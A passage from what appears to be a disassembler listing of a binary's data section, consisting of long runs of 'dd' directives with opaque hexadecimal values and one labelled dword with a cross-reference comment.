5FE3721Fh, 0DFEF4CB4h dd 0DC7CE00h, 6DC56AD1h, 9E9A0095h, 2A563C37h, 307D48E1h dd 918A1F0Eh, 6FE200C5h, 26EC4912h, 0F585A8Dh, 1F1CBC7Eh dd 297280AEh, 55A025D7h, 0CA500400h, 0F5602E7Fh, 153400ABh dd 4EF1ED43h, 1C0FFE6Dh, 401E977Ah, 6746BEA1h, 8CFD00C5h dd 0FEFA7D40h, 80084C2h, 4990D75Ch, 2AB197B0h, 0B457D4h dd 2BA1F671h, 6AF9E58h, 0C8700BF4h, 72007892h, 0E5D3BE81h dd 5C2C61h, 0DAABFAEDh, 11BCB46Ah, 872CBDFAh, 0EB09F7B6h dd 3C9103DBh, 0A847C160h, 0AD3DDCh, 3B537379h, 0B98D2F32h dd 24F8212h, 0FD844840h, 9C25D9h, 0B398EDE4h, 0D146F1C8h dd 529DF803h, 90106E08h, 0FAB5CBh, 9F76CEAEh, 0B8B066EEh dd 24BA6307h, 0E710F43Fh, 42219Bh, 0D3DFB6C0h, 69C91D4Fh dd 8A001090h, 0BEFBC87Eh, 0AFA21Ah, 761C369Ah, 11BBA54Bh dd 3CAD8E00h, 3DC24A59h, 8F97265Fh, 667B0054h, 0A3DC365Eh dd 4150491Eh, 2568BCC0h, 3C5ACE1h, 9EF30C94h, 93C81ED9h dd 0D80084F5h, 2F067B24h, 334773h, 0D2DA9EAFh, 1F626313h dd 3004EE4h, 9FA7F426h, 5CAFEDh, 9221DACh, 0CC209A83h dd 1135881Fh, 1029AE40h, 3F2A74BBh, 3087E38Fh, 904479C6h dd 0B1BDCFA9h, 3300B573h, 3F8FEB61h, 48651A77h, 56002859h dd 86D821A4h, 1004ABAh, 2E77DDAFh, 0A227DCh, 0CE380657h dd 1AED0C83h, 26C9A500h, 51F4E645h, 1B170070h, 3F1E9679h dd 6408D59Dh, 5FBA518h, 33E05Ch, 3C897B8Ch, 18C0F883h dd 34847682h, 0ACF61C63h, 6B21805Bh, 0C45AEA9Bh, 0D47DA300h dd 307FAFABh, 8864C49h, 8C663900h, 0B489604Fh, 0B0007873h dd 0F8AD9DD9h, 1ED5C601h, 9FF02C1Eh, 9910C0B1h, 0C041A4EDh dd 7ECC1401h, 0A8F33BE7h, 7F3C69DCh, 0C2332CD9h, 291284h dd 87732C42h, 0B6006FDDh, 8CC41EC7h, 12748118h, 619627h dd 0DC5F6B10h, 6260F9A9h, 0E04D2910h, 909054h, 971A6EE9h dd 101B5AC4h, 52F97E14h, 0E52B00B0h, 0FAE90277h, 9CF84D84h dd 0B51A0802h, 0B04854D7h dd 1C01F974h, 77C3EA97h, 60CE4E9Ah, 7779F494h, 4F3002Eh dd 896A07C1h, 527D6B88h, 0D95CE400h, 69672C2Dh, 0A6D7003Bh dd 0BC44534Ah, 25006BBFh, 38263EBBh, 2682CEC2h, 7C8178h dd 7C48F803h, 0D700B457h, 27918C5Eh, 1D258FD3h, 0C0E690FCh dd 0AE6EF50Eh, 7400B80Ch, 0E0722F49h, 3A7FC15h, 987DFB60h dd 84B04E4Ch, 9B0008B1h, 0AE43ECE1h, 0A8B6A650h, 50D78DAEh dd 0E078AF1h, 21B7612Dh, 0C84080FCh, 0DA0DFAEAh, 0D193781Dh dd 90EF3C84h, 87DFA880h, 24A00F6h, 2B731E9Bh, 0A0004BE2h dd 0C8740957h, 749A137Fh, 0E6C600EEh, 0EFF3B0Bh, 29006650h dd 5491813Ah, 2BE8B65h, 97DBAE82h, 0C4C02730h, 0AA07B942h dd 0C5E34BA9h, 0A0572DE0h, 443D0EC3h, 0F560216Ch, 0ECCD9B4Ch dd 399F1B00h, 0A8F2D9FBh, 125800ACh, 95DC30C9h, 7900AF4Ah dd 0BB73AC7h, 0DE57C3h, 0F5E0DFC5h, 0EC92F72Bh, 48BF3100h dd 45CEBB75h, 9C110139h, 1AD00980h, 0A4C1EEB3h, 0B254F4A3h dd 7D74CF00h, 0A27FF8DBh, 91D73FFh, 0EE4829CCh, 834AB400h dd 2018F41h, 31B467B9h, 5CC896E8h, 10C10713h, 21083F89h dd 60F2CB62h, 0EFAFEE8h, 86E4425Ch, 18EDF1h, 0BC49F746h dd 6FC48D37h, 90CC4A00h, 7F48D543h, 0CA8A0953h, 28800BF9h dd 0B56C5655h, 0D0FD6Bh, 11EABFF0h, 0F201003Dh, 0E164D8A2h dd 2B002AEBh, 1982C938h, 468BA4h, 0F8D7A375h, 5581DF1Dh dd 5C070D79h, 426F76Eh, 176C508Ch, 0E350FAh, 4AA08EDCh dd 0C800117Ch, 0CD275FB6h, 1F3DC5D5h, 3FBA8F6Ah, 0F5D31E00h dd 0C159823Eh, 101F9A00h, 630457B0h, 0E7370050h, 728B8708h dd 1022E8Dh, 5DF5A90Dh, 5668C06Ch, 71AD009Ch, 8FF9A882h dd 0AC00BC19h, 0FD62CEB1h, 0C8A21Ch, 0C389571Dh, 4D32CC8Ch dd 0E98F9D1Fh, 0F646A480h, 1ACDFE5h, 3074A952h, 0D88ED03Dh dd 160162BEh, 87FAEC93h, 0CC293E11h, 0D46650h, 4F427BC7h dd 0B3BFB6BEh, 7A8DF4Ch, 8D3B0AC2h, 61924A00h, 14CE0054h dd 42F9EA26h, 450E2DFAh, 80132B6Eh, 0DDDA4C0Fh, 0E1C41F89h dd 82EE28h, 1D18270Dh, 200CD64h, 0C2B36EF6h, 0BDB9786h dd 17D441EAh, 0D694A000h, 7A903EE7h, 0B4DF700h, 70C73FB3h dd 4A2A0175h, 88E8F8F6h, 656D2022h, 1C48h, 0F708D58Bh dd 6E31B8h, 0B239A04h, 475FE245h, 0B6D19600h, 0A1BCA4A6h dd 0A90800B9h, 0BE46554Ch, 17B016C1h, 0CC91E600h, 0D9CB6D70h dd 0FEE40088h, 3D388EEEh, 1000E32Eh, 0CF6AB494h, 7DBBC23h dd 75DFAF62h, 0FD67C17Ah, 769C307Fh, 9CB031E7h, 5800DD90h dd 18FE4C2Ah, 0FABC740Ch, 0B1C407F7h, 0B70368EFh, 0D6E6B038h dd 0C600FD4Eh, 3F1F9DF0h, 0ECF139B0h, 605B00DDh, 4871ABB4h dd 3400AFF3h, 76D017DCh, 27E445Dh, 82EA9613h, 0E4C84DA2h dd 4E00FF34h, 26430FC7h, 13FAB812h, 1DEF9BDh, 928FE8E4h dd 53A07082h, 0B20BEC00h, 9E15DBB8h, 26C3046Ah, 8C9A2EA7h dd 0E4004268h, 0FC4955D4h, 60F4C0h, 0B13540E7h, 883EC77Bh dd 8794E301h, 17532701h, 13814DCCh, 808D7AD7h, 0F665AC58h dd 7C6A8200h, 0FD027905h, 0C9A85001h, 0EF7146h, 2B077FDFh dd 6B4EBC1Ch, 81FB5C00h, 0BF3898A8h, 73D338E3h, 0B3132200h dd 0F5556439h, 921C3C98h, 587D0C8Eh, 85BD3C59h, 2404D6BBh dd 63307480h, 793A00D4h, 0A066FE11h, 18038156h, 40934106h dd 21EAE89Fh, 0A89461B6h, 0E0B2820Ch, 11DD6A30h, 5876003Ch dd 42EA2D1h, 1EB7034Bh, 0B0D35EF3h, 167BD7E0h, 0B25B9C03h dd 0D014DAFEh, 0AF380Ah, 0A9E2B6BFh, 0D6A7CE19h, 82BE5225h dd 506F3A44h, 0DEF08Ch, 9812DDBAh, 79974496h, 6A42E505h dd 180055D7h, 155A4A3Ch, 0B1A70EF6h, 0AB80E619h, 1C04A017h dd 55489360h, 0A887800Fh, 18A0AB8h, 0BC6C15B2h, 0E882B76Eh dd 3C3C4CA4h, 3B438088h, 89DA2CFDh, 537E58h, 9F379863h dd 284ED4BFh, 0E15AB40Eh, 5F00176Eh, 0D01ADA02h, 22930E72h dd 99C0C634h, 0A0F2B052h, 8F8C5C00h, 0CC1C6040h, 0A8870337h dd 0C4DA2986h, 2AA99A00h, 534609D4h, 0A11C00ABh, 0A390D55Ch dd 3E18B46Ch, 0EEC0BA01h, 0F40073Ch, 8189D7A2h, 8A883D9Dh dd 98B36CD1h, 0AC00BF97h, 3E9D85C1h, 0ED21CE8Bh, 0B8A2D483h dd 94031101h, 5E08C8C1h, 0FF9E1C40h, 117A606Ch, 92EDCCD5h dd 296DA20h, 0C9E9F855h, 0E27A23Eh, 1364B890h, 238E80C2h dd 779BC308h, 0E2804FBCh, 73B34B13h, 0C099400h, 0D34FB25Ah dd 0B9F81DEBh, 80631D82h, 7CEF5BA1h, 0CF20DB49h, 6221EAD9h dd 4972E8Ch, 0AE5AD880h, 0B9150849h, 6284AB38h, 1BBB460h dd 0E1DF53B8h, 1003E78Fh, 0EAB1A1A4h, 0D7A8D8E7h, 55C83CFCh dd 50FC153Dh, 0F8ABDCE1h, 148350FDh, 0E27CA3h, 448E9AC6h dd 0F723E143h, 0C050A0F7h, 19ABCF22h, 7E06C303h, 8EB081E4h dd 0E1A59C2Dh, 9E0E3885h, 178400BDh, 0AC626C3Fh, 0F310BF00h dd 5BA365C8h, 6DEE28Dh, 0A87711ADh, 83022080h, 0D609A5C9h dd 76209C0Dh, 19088CB7h, 0A57886Fh, 9EE0696Bh, 230380D6h dd 60E58789h, 0FC37600h, 0F064FC77h, 0A433009Eh, 0B3BB3D61h dd 0AF29CE7Ah, 8038E476h, 5D8011E8h, 4C63BAE7h, 8C8054A2h dd 0D2122F75h, 3AB56100h, 0A0494524h, 0F8E0F8FBh, 384EE6DCh dd 7103543Bh, 141BD346h, 0FCA049FDh, 0A1E14401h, 0B0C01786h dd 710C1551h, 4BBD58B2h, 219C0866h, 51A8C600h, 0CAB50149h dd 0DF1B3979h, 50AFBF19h, 1E822A1h, 761CC47Fh, 3828D992h dd 0B419067Ch, 11973DD3h, 0D4AC0206h, 90AE2FF0h, 0F1C3605Bh dd 3516FD17h, 30E51300h, 0B3D3376Fh, 0E1230E8h, 8CE0E991h dd 0F48454Ch, 0A087DDD2h, 5F610F77h, 384409E6h, 0C07AA93h dd 85AB7354h, 0ED80A051h, 8EE45076h, 1800E0D9h, 79EF42ECh dd 0CCC73A92h, 0FE21CE08h, 218D83Eh, 88DB101Dh, 872C40F2h dd 0A65301B9h, 738E2DFh, 0AE688994h, 0C8A810ECh, 0FC5C5204h dd 5F787D09h, 0E0808F8Ch, 57731B3Eh, 56031898h, 3B5D308h dd 5C3574F4h, 917444EFh, 0F0138300h, 176E211Dh, 59A701FEh dd 0E0D60BDEh, 8692F881h, 4B44F400h, 8411E6B0h, 0D58F30DAh dd 0CBCF8B0h, 0E9CC0B18h, 72771910h, 0A25090B4h, 0D8FC8100h dd 0CC50923Dh, 194616AEh, 682617B3h, 0A471980Fh, 7A0ED321h dd 9D610246h, 0BB4FF30Ch, 0E450348Ch, 0B30B2893h, 0CA258451h dd 88982898h dword_4F0044 dd 5105ABC9h, 933D9E19h, 150B1CE3h, 0E838C49h, 723109AAh ; DATA XREF: ___:0042CC8Co dd 10E5891Ah, 90E925E0h, 47560108h, 93FFE3EFh, 78985142h dd 14C4CCAEh, 23DEDB09h, 4678A0BFh, 0B02E7B20h, 1B5E2824h dd 4849282h, 0D6182D0Eh, 83D8C7A7h, 8904596Bh, 0DB7CE675h dd 0CCD63488h, 95216C09h, 3E607CFAh, 0FE9DC48h, 82480915h dd 0E882CF26h, 8E229069h, 0E72C900Ah, 0DEDC117Ch, 806A88DAh dd 737CDF96h, 0E409E66Eh, 0C08B10h, 8A19E534h, 47BB3ED3h dd 0E0D0283Fh, 171C8CD9h, 2ED1B446h, 0D49EA688h, 90044640h dd 9A7F3211h, 55F4158h, 752407E0h, 0D7E530BEh, 270348D3h dd 3AAA79D6h, 0E4C4A1B7h, 0AC0F1880h, 0DDBE348Dh, 1958ED02h dd 4681D847h, 0EBC042Ch, 80E6A80Bh, 90A6F610h, 0A2529608h dd 55F808Eh, 0AED8D05Ch, 0E557C500h, 4220748Fh, 18212C54h dd 9239B334h, 4A0797DFh, 4CBB0784h, 2BE230EBh, 760323E8h dd 97104494h, 5207A90h, 64D38419h, 43808816h, 98E97A28h dd 501118F9h, 0ACFE9B46h, 0CE12ED98h, 218006E0h, 0E504070Bh dd 0C06C01E2h, 0E858108Eh, 397C7EEDh, 22430ADEh, 0E59C006Eh dd 509E177Ch, 0E850E1C9h, 965C51B4h, 5683100Ch, 12322050h dd 14E5DBABh, 4801ECF0h, 0A55E4772h, 4399F313h, 58D6D409h dd 9DB44C50h, 0BE017875h, 23B54E5Ah, 0F180CA77h, 29954AB1h dd 75008641h, 0D1F0C9A9h, 3AB695Fh, 0D50A0BFDh, 0E901953Eh dd 0E106DB7Dh, 28329F2Eh, 12265920h, 6D036C04h, 0E7C022EEh dd 0C891627Eh, 974640Eh, 8B074BDEh, 8213B490h, 0B6ADE812h dd 60DA0410h, 0EF65529h, 72C70133h, 3C854120h, 0E32C203Bh dd 53F4693Ah, 30A6A2D0h, 2B0E1B7h, 571C1500h, 0BFAEF5BCh dd 54A67A7Ch, 3B3388C7h, 0E980861Eh, 4CEF79FAh, 405CCF5h dd 0B2720CACh, 983FEC06h, 96390059h, 87EEB495h, 972E7ACEh dd 0B811C0F9h, 1042E602h, 3840986Fh, 389E4C3Eh, 0A2716021h dd 1A014118h, 182E0E82h, 40DA546Fh, 3A0C92A4h, 0DD260589h dd 5C484090h, 0A53F9731h, 57DB8911h, 54B000E8h, 0C575C43Fh dd 8264C638h, 0DC526B8Fh, 2FD8FC03h, 0A993E43h, 0ADB42649h dd 0A9BE02B8h, 9840F62Ch, 6CFECF14h, 18E8B11Eh, 6454E012h dd 380A2CB8h, 8FA18E04h, 4500E097h, 79F966Ch, 0A569EA70h dd 0D3C910FAh, 0DDF29DA7h, 0CCE8AD26h, 1E411040h, 241F7C6Ah dd 1614E6AFh, 0E2C860ACh, 4223EE18h, 70CD11FFh, 4718DA00h dd 6CD6E90Bh, 65A9582Ch, 20819458h, 0E049DBCAh, 0B871193Bh dd 91473814h, 43DE0BD0h, 80410EBh, 18C76550h, 4160C664h dd 34041F00h, 0E292FE3Dh, 9D94A891h, 0F7A7470h, 8F40E35Fh dd 0C07CF875h, 2E276721h, 2B0092ADh, 56114A15h, 0A7285B3h dd 0E6516BCh, 1A780030h, 0D32A2D03h, 3147E817h, 91CF8B09h dd 0E8180B28h, 0DEDD7C0Eh, 6BC870E2h, 7CE09780h, 2AB0490Eh dd 14C892A1h, 0E53CF4B4h, 25323300h, 0DD677CD7h, 3934E101h dd 1412B41Ah, 144C834h, 1BB3E44Eh, 20C72E57h, 4801041Ch dd 0AD93B20Bh, 1C2CBB46h, 0C0D4A78Ah, 42E918DDh, 0D522D746h dd 1800FB75h, 0BC205DDh, 2D67B60h, 4045580Ah, 0CCE8A7D7h dd 0C8B92472h, 0BD18D579h, 0D3C85300h, 5E76FDC3h, 411F07CEh dd 1044BA67h, 9DAB1BDFh, 43C2F4A3h, 145340C2h, 2F31E4D3h dd 20901A66h, 81D1D08Eh, 83486E8Fh, 94D69200h, 0A0808C9Ch dd 2787068h, 5416740Eh, 3D0C8064h, 3180BBF2h, 15F3C7E4h dd 0FC0FBEDAh, 1B8EC05h, 8EBAF627h, 0F1D0EBE5h, 0A3CC3C24h dd 0C701113Fh, 0CDC82DFDh, 9883D0F7h, 0E61EF600h, 0D70EDDC0h dd 22E50055h, 1CF7A1F1h, 10EC3E8h, 0BAD91Fh, 0FCC4EC2Dh dd 0F38A5B9h, 0CB0F2BD2h, 5118291Dh, 0C9088FD7h, 0B0E60CEFh dd 0BEFB00FEh, 55EE0902h, 0F2032BDEh, 8307D7B8h, 0E62980A5h dd 0DE33CA4h, 23069A00h, 0B9DC9EF7h, 0AAD268A0h, 35CDE248h dd 885139C5h, 253EF004h, 10D8A4BFh, 8AEFCE0h, 1360E7DBh dd 191800DEh, 0A589DA35h, 0E30C4D8h, 0BF1837B9h, 0C2A74419h dd 884B338h, 0ACB8E48Fh, 18762920h, 59E80B82h, 684A4F8Dh dd 9D0CC411h, 0C7288B4h, 46F06868h, 17131BDFh, 0A021582Ah dd 3F1B0FAFh, 0BDD34138h, 0D5A00695h, 19EC6140h, 521B59EDh dd 4242D378h, 2AD65802h, 0EBEF11Dh, 7E87E9FCh, 0D4299921h dd 3F4BD909h, 0B9D48396h, 4CC8C592h, 8571919h, 0DC062869h dd 860A42DBh, 0C771218h, 964830Fh, 44E420C5h, 98A1DB20h dd 51D807F0h, 42590C0Ah, 0C89403Dh, 108ED0E1h, 5813F30Eh dd 110100CDh, 91DED77Dh, 140C607Ch, 7C810F9h, 28149A61h dd 5D582BE0h, 0BD29E83Ch, 11EBD164h, 0DC711A52h, 0BC8CA8E2h dd 0B890DC10h, 0EB127D21h, 55030CC0h, 0F0235524h, 0A6E287D0h dd 0E00950F8h, 5CB94CF8h, 4890847Dh, 1654AF44h, 8AA49F24h dd 8F8C409Ch, 1E4358Ah, 42EF18E4h, 6E7C3208h, 90993098h dd 60210851h, 82396884h, 0F888F7EBh, 881053BDh, 0BFE0DE31h dd 8C64208Eh, 6F8D1184h, 734062DCh, 77E0A7DBh, 0C8C72B4h dd 80148AC6h, 8C991F68h, 1A00A259h, 4B1B646h, 46922954h dd 0E0A59888h, 0F4A155EDh, 525408C0h, 0B8049444h, 90B03B18h dd 0A0334B60h, 9A912891h, 0F38D8042h, 2D8C0B99h, 0E3E0A2D9h dd 0D80C67DEh, 0A88F2AFFh, 0D70821A8h, 80426291h, 0B99BB8Dh dd 24AE208Ch, 7F9C51B6h, 21EADA91h, 83B1B280h, 8590A04Fh dd 207999B1h, 8D8B9D14h, 7488D835h, 61A36A6Ch, 0A5AF950h dd 0C94E6080h, 51C56507h, 0A826141Ch, 5078F981h, 6AD84A8Ah dd 5849BE30h, 4CA944B2h, 2D442C35h, 376CE26Bh, 20CE6EBh dd 0D08A21E0h, 78406772h, 11F9D82Ch, 80570C0h, 18A7F7DCh dd 0CBDD554h, 0E5B1BA73h, 747C2070h, 82D4CB88h, 51E89C04h dd 67B8813Ch, 451E734Dh, 0C23C1CE8h, 0EDFBC911h, 3CD851E5h dd 943157C1h, 97101E79h, 54762EC7h, 8F196440h, 0C01AE0BCh dd 0FC9C75Ch, 600643E7h, 0F7554ED7h, 79EC0B28h, 0CC48A33Fh dd 46004009h, 49712113h, 334229h, 5A862B34h, 6FA5FDD3h dd 0EE8E5100h, 9919BB89h, 0FE8DCh, 100A4581h, 7A77967Bh dd 1492D700h, 0B6C3B8Ah, 0B51E06B6h, 0A1D20E64h, 0DC96A224h dd 23DD9880h, 13777Dh, 485C1E66h, 9EB62A53h, 834A3D00h dd 743AE4C7h, 0EF3F03DFh, 0C8E0B5FDh, 82E746C9h, 8D58B418h dd 0C67C4098h, 146427B3h, 92B528A1h, 0E101D3DEh, 1076A80Fh dd 0E0C811E9h, 493B1C6Ch, 0DB148C45h, 41E93D0h, 82819B54h dd 93E9E55h, 2C0EA980h, 0E4317D92h, 3F1F2EEEh, 0A340C22Bh dd 44F18B1Ch, 0ECA20183h, 0FAB73D0Ah, 7028802Ch, 20E4C86h dd 198D074Ah, 90B18A97h, 78655008h, 9423720h, 79BB8BC6h dd 8F39A30Ch, 1E5E2900h, 5CDEB563h, 91F51883h, 0DF498178h dd 0FE031AF8h, 7D3EB3AFh, 313900ADh, 25FA068Ah, 3AEA39E5h dd 77A6500h, 96CBC817h, 0DCF639B0h, 0F37D74h, 0ACD7CD48h dd 1169F2EFh, 8152023Dh, 62441A8Fh, 4886F7DAh, 6138F6B6h dd 61865100h, 8E64DCCEh, 63500F1Fh, 0CB606F91h, 9C42A6F0h dd 4FB8F10Fh, 0B014002Fh, 7FC99ECh, 0F3B6EFC6h, 0DA64096h dd 0B1DDE7D8h, 9500A8DFh, 0E639040Bh, 187E27Fh, 283F23F7h dd 0F42DDE65h, 2E17E717h, 0EEF6B71h, 1C8E698Fh, 0FC1E6880h dd 80F45BFFh, 0DB1F4EF2h, 0E903E82Bh, 0B017752Eh, 16B2914h dd 666FF984h, 0D1715CE3h dd 1128B1E0h, 0E0DB6479h, 0DD5225h, 0E9177322h, 845B74F9h dd 58011F3Ch, 6B7B0BF0h, 7FE0F4Ch, 0E08E2ED4h, 257D1FE2h dd 0B8A3E764h, 50705F04h, 52752443h, 257701B4h, 4B73E4E6h dd 33F03F18h, 0E82D1075h, 15E73Ch, 0ED6F4A76h, 0F4A3AA50h dd 86AFA61Bh, 0E1558018h, 0D1543E2Dh, 0D414C506h, 5C0048EEh dd 0E98C429Ah, 0F73436Dh, 0B9014798h, 8B95A720h, 233CF56Eh dd 0F90583BEh, 98F48764h, 0F08961h, 0E06F04B4h, 9B836578h dd 0C90BB700h, 0C68B8E17h, 2270004Fh, 0BB64A35Ah, 18C0F9F8h dd 246BF25Ch, 6F6D1EEAh, 40A214CCh, 987CDA1Eh, 7251E977h dd 7888173Ah, 0F8C61574h, 29C021BDh, 7CA001h, 5E3D701Ah dd 18FB1D1h, 776E4D03h, 0FE8AE053h, 17B5560Ch, 103C6876h dd 75C2CE4Ch, 0A0B1640h, 5EF90448h, 4506B8BCh, 405C9F72h dd 6A41F67Ah, 508C98E9h, 0A57878EEh, 6A7DB1CFh, 0A9538CCEh dd 3CEE0138h, 40C981C0h, 2A7E1CC7h, 0C1F8CF87h, 547FFF6h dd 0F9F0E4FDh, 0B8A898ABh, 31E2B397h, 4119740Fh, 89868CF4h dd 0DE48A3D3h, 283F4948h, 6415C7C9h, 0F09B7E6h, 82AA14D9h dd 0C07AAB80h, 72009FE8h, 480E9C41h, 687116h, 64762D84h dd 6A292F57h, 63E91EF0h, 85523D78h, 22E969E8h, 3805485h dd 434413h, 58647C5Eh, 810A3A28h, 44337729h, 90FC2C80h dd 145DFD86h, 4E0F4E3h, 553D42DEh, 0C9ADFF6h, 66150800h dd 0E1451653h, 521B7418h, 853E08B2h, 1FBE7821h, 0E3147377h dd 0E412E9A0h, 57CC4947h, 0A609104Ch, 88934408h, 305BAB89h dd 0BF593B33h, 0C51028A5h, 95136189h, 86764C4h, 701007C4h dd 261C4710h, 5DF9CD7h, 210C4789h, 5917140Ch, 1B50008Ch dd 4A6A3F38h, 7246A428h, 78734409h, 76127989h, 6C487724h dd 897AC4BFh, 2480127Bh, 917E4881h, 4474227Fh, 83898285h dd 0CFE08813h, 5002343Fh, 6464B1Ah, 0F8F49114h, 8486B894h dd 49777B2h, 0A17E3058h, 0BC40DF08h, 16C331Dh, 0EE88E064h dd 0F1D27E34h, 80E08005h, 6D876A8Ch, 33221375h, 1E6F1F76h dd 8908036Eh, 4C877286h, 980F840h, 7FE58053h, 8A8CC8F1h dd 75508702h, 530C787Ch, 1FFA5F48h, 4A56FD04h, 1F88CCFBh dd 43424702h, 2F3C3D23h, 5738FD8Ah, 0E2520101h, 3810174Ch dd 4E32E35Dh, 28360935h, 7F042118h, 607DC55h, 7FFE90CFh dd 8A75E350h, 10F9501Bh, 38935265h, 0A40028B8h, 0B8B736C9h dd 0F8730A09h, 18D360F8h, 0EE78FEA1h, 6288811Ch, 1CD528B8h dd 45EFF000h, 4AB76C50h, 28FB52E7h, 0E453DB2Fh, 4A385483h dd 0F0410CC5h, 24307596h, 72F95200h, 27294C58h, 7E220350h dd 15E9593Ah, 1EA84FC3h, 1F00F70Fh, 53697B2Ch, 2B627629h dd 9E147CDEh, 70201F4Dh, 64702F30h, 7B29E700h, 3A7D595Bh dd 234C0168h, 28DF5803h, 6264F875h, 0E253260Dh, 14F490F8h dd 181E6077h, 0E5DF4F76h, 0E3657007h, 804C28F8h, 57243B88h dd 0E05C0480h, 0E84E03F9h, 7876FB30h, 0C34C7B22h, 0F9E96B31h dd 7C295978h, 0A8A10C67h, 16532400h, 3DDB5875h, 0E880762Ch dd 0DD6B272Bh, 0DCA67A2Dh, 0FFB0F303h, 0C08B95D1h, 0C177F804h dd 1254CA49h, 0EEFDCF1Bh, 90BD5817h, 40D4EFCAh, 5823E18Ah dd 493E4779h, 50F87D33h, 89983B0Bh, 0D824F41Fh, 0F000987Dh dd 19CAFC6Dh, 0C0E6087Fh, 93A712A1h, 0F230DAE3h, 0F5F4686Ah dd 5EA9C43Ah, 74A0386h, 5382A034h, 0E67240FEh, 0E4E18F63h dd 7631223Dh, 17CAFD19h, 0E608D268h, 37317760h, 0CCF4A695h dd 54590818h, 0D5887278h, 7F5D807Eh, 844052F1h, 1929DD06h dd 0B87E2F77h, 5D598676h, 303085C9h, 0F079EE95h, 59C86530h dd 0B90187A9h, 0CC88A7Fh, 0F8D112EFh, 8E03B100h, 4CFE7617h dd 5C5B018Ah, 97FF7D1h, 925180EFh, 0E950EAF2h, 7975606Dh dd 0F84503B3h, 0CF305A63h, 73B91E71h, 2FC6AB0h, 97FEBA06h dd 0A4A66DE8h, 2C0AC970h, 0DCCE68F7h, 0BEF17C18h, 0F1A2315Ch dd 9599CC31h, 2A4C7ED9h, 7D1C5878h, 91707BDAh, 7E410BB7h dd 888B3008h, 0A68A46B9h, 308D8331h, 38244E95h, 0F34CA986h dd 0E8495854h, 3954368Eh, 0E230FEB8h, 756EEF31h, 0E564A4A5h dd 19569631h, 1A01B888h, 0FE096B59h, 0C2771017h, 1B5388BEh dd 106D5021h, 2611AE32h, 0F743778Eh, 0A6CB2F1h, 53503C28h dd 0EEE128A2h, 4A39CE21h, 0F843BA08h, 587F02F1h, 78A11850h dd 46841A52h, 0A11F2881h, 841A2A28h, 20288A82h, 0A1C24684h dd 0E61871FEh, 9F5C724Ch, 9886CA6h, 438CA4D1h, 3106EA54h dd 85A455B8h, 0D56E0D21h, 2161505Ah, 710FF28Ch, 87094030h dd 25327CF1h, 217F90E2h, 9EAD9056h, 4420C978h, 0C604EED0h dd 0F4970874h, 910DB0Ch, 134CE953h, 98320653h, 4A7B045Eh dd 940A34ADh, 70C048D1h, 63538DBDh, 6310110Ah, 0E84444F2h dd 8A38E64Dh, 414CA85Dh, 8B87028h, 85A6F0B6h, 1C382E00h dd 1E3D47C9h, 325356Fh, 3FF71B42h, 436575F0h, 4E031CEAh dd 52731FDEh, 3887E9E2h, 3F292BD0h, 7400596Bh, 2717E669h dd 7E3E3552h, 30550016h, 2F594804h, 0F8665802h, 0E9379840h dd 1B5545F0h, 405D70FAh, 0D4C26882h, 2ADE2D40h, 58407B52h dd 0DD5D1D54h, 64037A3Ch, 59537449h, 3030A5F9h, 14E03888h dd 1C52772Dh, 2355AFC2h, 64C67D20h, 0E8F87CDEh, 0AA1974E0h dd 5008E560h, 52957622h, 0FB2877C0h, 7CE3C9E3h, 0B32A1859h dd 3ADC00C0h, 0E7E325C3h, 512CAE76h, 0C40188DFh, 0B87036F9h dd 252C0A11h, 60382350h, 1E432B7Eh, 5313120Eh, 9429AEDFh dd 4070A414h, 0EA1250F7h, 0C0375C43h, 2A55747Fh, 0B0F8642Ch dd 0C1E43BE0h, 0EAB82A4Bh, 48204E0Eh, 211C4927h, 0F023433Fh dd 2C002E99h, 3E6ED68h, 7E39E152h, 2F581335h, 1E001D71h dd 88283077h, 1078E312h, 0E5009890h, 3A265C7Ah, 26E25B2Bh dd 1E400217h, 7C2830F9h, 50136834h, 2025012Fh, 48A66C1Fh dd 8FADD0Dh, 307B5092h, 39702374h, 388B91D3h, 332880AEh dd 7657A1Dh, 42E7F8DFh, 0AE29A4D4h, 5854B4CBh, 1D50B084h dd 1E2BE666h, 7B4D0925h, 752FD081h, 2920E013h, 76405062h dd 0E8C06062h, 1D4C016Bh, 2AED1704h, 1050D305h, 800F7A8Ch dd 0DDE15B28h, 0E3668Bh, 2DE84E70h, 580C7876h, 0E2068C5Ch dd 106B7123h, 604F0337h, 0AC876684h, 91E81783h, 0B12B527Dh dd 5C409CF4h, 8CE9640Eh, 785DC828h, 0F0DA9572h, 26AB60D2h dd 1525A0B0h, 7DEC7677h, 3FF8A5FEh, 172BD49Eh, 39D46017h dd 282CDC5Dh, 62C060E8h, 0F0554AE7h, 74E3F475h, 0A5B893FBh dd 7079CC7Ch, 3A231C30h, 22006B7Bh, 5CDE5278h, 81F97625h dd 14E86430h, 0A72B6975h, 7E1E178Ch, 81FE28DAh, 27294328h dd 515C464h, 7A145765h, 17E49C52h, 8B0C534Dh, 4980059h dd 0E81C5867h, 25E1E952h, 5281AD3h, 0C46A2068h, 5517FC60h dd 100C304Dh, 0E4577D2Dh, 416DC4Ch, 71C04368h, 0C7C51481h dd 627BB220h, 8F751061h, 87640369h, 0E3457C1Eh, 522320C8h dd 1FD22C77h, 0FE88353Ch, 61767382h, 1F3E434h, 64265CF8h dd 0F3052CE1h, 803AB031h, 1849744Fh, 0FF5C5020h, 5BE3832h dd 0CDEF0F74h, 80FB046Ah, 71D5FAC0h, 9D8C00C1h, 0D48DE26Fh dd 252DC47h, 0A044C21Ch, 80189772h, 0E1BC9FE7h, 4705BD92h dd 0CE6A88CFh, 0C580683Bh, 0DFB5C003h, 0C19A9200h, 0BBBE88D9h dd 899007E3h, 0CA01CFC2h dd 0C9B59840h, 0BA5003E8h, 0AB002E50h, 2F2DA6DEh, 7AC1A08Dh dd 0B66C07E6h, 609D8AE3h, 0BC6A86CFh, 6BFDCB00h, 0CE88E1B7h dd 3CC3F49h, 87E6B903h, 0EA0BB6Ch, 0E80EBABCh, 604895E3h dd 0E7C09F8Ch, 0FA4AF003h, 0B7A100FFh, 0BB93FCCBh, 0BF3ADF94h dd 50E33E56h, 0CE068C9Ch, 9287CC48h, 57030320h, 90FFE64Ah dd 0E889E3A1h, 0F63AE82Eh, 8CD81E9Ah, 83CF484Eh, 1E460EEh dd 0EBB55D68h, 42CBC08Eh, 3497BC80h, 3E60C60h, 614A788Eh dd 87DA60EDh, 0E1684B9Bh, 6BDCD00Ch, 0A1F4A1BBh, 9AFDA840h dd 88CB3A56h, 1D2EF050h, 14C35DAEh, 891EC0BAh, 0F6D986A0h dd 9A032186h, 918CE846h, 8187A26Dh, 869294C8h, 0C8029094h dd 